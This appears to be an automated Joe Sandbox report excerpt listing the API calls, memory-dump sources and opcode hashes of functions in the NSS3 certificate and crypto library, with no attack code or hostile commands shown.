CERT_DestroyCertificate.NSS3(00000000), ref: 6C65DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C65DD8F

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_DestroyCertificate.NSS3(?), ref: 6C65DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C65DDB7

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 75308090a03ca7ff080c6872ac23569e8089fd4e6db1a8bfcab270df3e12f8c8
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: E521AEB6E011159BDB019EA4DD409DEB7B4AF05308B640120EC04A7751E731E925CBE9

Function 6C6E5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F72

Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED8F
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED9E
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FCC
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FF4
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6036

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction ID: 85b8e10f4464134d8304c148a1eeaba928fd1525a6f75363e819190abc4766dd
Opcode Fuzzy Hash: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction Fuzzy Hash: 8E214DF1605B04ABEB10DFB5D808BD7B7E8AB45709F104829E46A87640EB36E018CB95

Function 6C760860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C767AE2,?,?,?,?,?,?,6C76798A), ref: 6C76086C

Part of subcall function 6C760930: EnterCriticalSection.KERNEL32(?,00000000,?,6C760C83), ref: 6C76094F
Part of subcall function 6C760930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C760C83), ref: 6C760974
Part of subcall function 6C760930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760983
Part of subcall function 6C760930: _PR_MD_UNLOCK.NSS3(?,?,6C760C83), ref: 6C76099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C767AE2,?,?,?,?,?,?,6C76798A), ref: 6C76087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C767AE2,?,?,?,?,?,?,6C76798A), ref: 6C760892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C76798A), ref: 6C7608AA
free.MOZGLUE(?,00000000,00000000,?,?,6C767AE2,?,?,?,?,?,?,6C76798A), ref: 6C7608C7
free.MOZGLUE(?,00000000,00000000,?,?,6C767AE2,?,?,?,?,?,?,6C76798A), ref: 6C7608E9
free.MOZGLUE(?,6C767AE2,?,?,?,?,?,?,6C76798A), ref: 6C7608EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C767AE2,?,?,?,?,?,?,6C76798A), ref: 6C76090E

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 80be37298469ec374bdb9084c00ddcbe2813f5a6ec0a9c14c8cd2e19b967e31d
Instruction ID: 15ba6877366d39f329553ffe7d7c969aa2aff5ab7c212b8f4829817ea0cc606a
Opcode Fuzzy Hash: 80be37298469ec374bdb9084c00ddcbe2813f5a6ec0a9c14c8cd2e19b967e31d
Instruction Fuzzy Hash: A81186B1B012425BFF009F9AEA45B4A3778AB4135DF290134E81657B40DF32E814CBDA

Function 6C653C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C6C460B,?,?), ref: 6C653CA9
EnterCriticalSection.KERNEL32(?), ref: 6C653CB9
PL_HashTableLookup.NSS3(?), ref: 6C653CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C653CD6
PR_Unlock.NSS3 ref: 6C653CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C653CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C653D03
PR_Unlock.NSS3 ref: 6C653D15

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction ID: 40711929105b53e86b35d31f1af212b21117df19df79e3feea97f50c1144fa1b
Opcode Fuzzy Hash: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction Fuzzy Hash: 2A112976E01505B7DB012A24EC458EA7AB9EB0365CB644230ED1883711FB22DD6887ED

Function 6C76B850 Relevance: 12.0, APIs: 8, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,?,6C767AF9,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76B862
free.MOZGLUE(?,?,6C767AF9,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76B869
DeleteCriticalSection.KERNEL32(?,00000000,?,6C767AF9,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76B88A
free.MOZGLUE(?,?,6C767AF9,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76B891
DeleteCriticalSection.KERNEL32(6C76798A), ref: 6C76B8B9
free.MOZGLUE(?), ref: 6C76B8C0
DeleteCriticalSection.KERNEL32(?,00000000,?,6C767AF9,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76B8E1
free.MOZGLUE(?,?,6C767AF9,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76B8E8

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: a8cecdd62fd2d43c8baffdc51e1dc0446643a15f30b212106466c78253962147
Instruction ID: 1cf58ac40ea4a24b3ba00ae06177435512a6f6ddd90e0575b9038be42d7cb894
Opcode Fuzzy Hash: a8cecdd62fd2d43c8baffdc51e1dc0446643a15f30b212106466c78253962147
Instruction Fuzzy Hash: 6D112EB1A03A10ABDF10AFE5D80CB5A37B8BB0A756F044538F91657A00C336E545CBD9

Function 6C659C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6711C0: PR_NewLock.NSS3 ref: 6C671216

free.MOZGLUE(?), ref: 6C659E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E4E
TlsGetValue.KERNEL32 ref: 6C659EA2

Part of subcall function 6C669500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C669546

EnterCriticalSection.KERNEL32(?), ref: 6C659EB6
PR_Unlock.NSS3 ref: 6C659ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C659F18

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction ID: bf6fb96ee20f04ec27decf56e545c5e7866ffa2f4629c2568f9682be72745609
Opcode Fuzzy Hash: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction Fuzzy Hash: 2881D6B1A00601ABEB109F35DC40AAB77A5FF4534CF644529EC4987F41FB31E926C7AA

Function 6C66DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32 ref: 6C66DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C66DD0E
PK11_IsFriendly.NSS3(?), ref: 6C66DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C66DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66DEA6
PR_Unlock.NSS3(?), ref: 6C66DF08

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction ID: d00dbbd56c412867d588a8067fd6faf6469e31a6d258b9f87141ad6a6c9d8780
Opcode Fuzzy Hash: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction Fuzzy Hash: 2B91E7B5A001059FDB00CF6AD880BAAB7B1BF45308F254029DC199BF51E731E916CBDB

Function 6C625FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260AB
sqlite3_config.NSS3(00000004,6C774CA4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260EB
sqlite3_config.NSS3(00000012,6C774CC4,?,?,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C626122

Strings

%s at line %d of [%.10s], xrefs: 6C6260A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C626095
misuse, xrefs: 6C62609F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction ID: 5360ceb3e9d9a8386c35ad17815fb830af36a3fda2fbb310bd86d8b28e21728c
Opcode Fuzzy Hash: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction Fuzzy Hash: 9BB19370E0464ACFDB05CF9DD2909AEB7F0FB1E304B158169D509AB322E730AA94DF95

Function 6C5D4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5D51BB

Strings

%s at line %d of [%.10s], xrefs: 6C5D51B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5D51A5
misuse, xrefs: 6C5D51AF
unable to delete/modify user-function due to active statements, xrefs: 6C5D51DF

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction ID: af64a388a2ca5f424c4088241856b29a800d45edfbb198c0252b61ad341ef0ba
Opcode Fuzzy Hash: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction Fuzzy Hash: 1C71ADB160430ADBEB00CF59CD80B9A77B9FB48308F4A4524ED199BB81D331F951CBA5

Function 6C6BFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C6BF165,6C78219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6BFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6C00A6

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction ID: f2a42c00d9861a02541a936d824fe086fc86be7112a926e75ffeeb0257798d95
Opcode Fuzzy Hash: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction Fuzzy Hash: DD5115B5F042559FDB108E99C8807AEB7B5FB49318F260229DD15B7B40D332AC10CBDA

Function 6C67DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C67DF37
EnterCriticalSection.KERNEL32(?), ref: 6C67DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C67E02B
PR_Unlock.NSS3(?), ref: 6C67E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67E090
PR_Unlock.NSS3(?), ref: 6C67E0AF

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction ID: 9501870ea34204264d3d9f31e2d1bb77185d2a06bf5f4a601f77d91e78d6c37b
Opcode Fuzzy Hash: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction Fuzzy Hash: A5519171600600DFEB309F25D848B9A73B5FF45318F204D29E85687B91D735E968CBAA

Function 6C67BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67BD1E

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67BD8C

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C67BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C67BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE3A

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE52

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67BE61

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
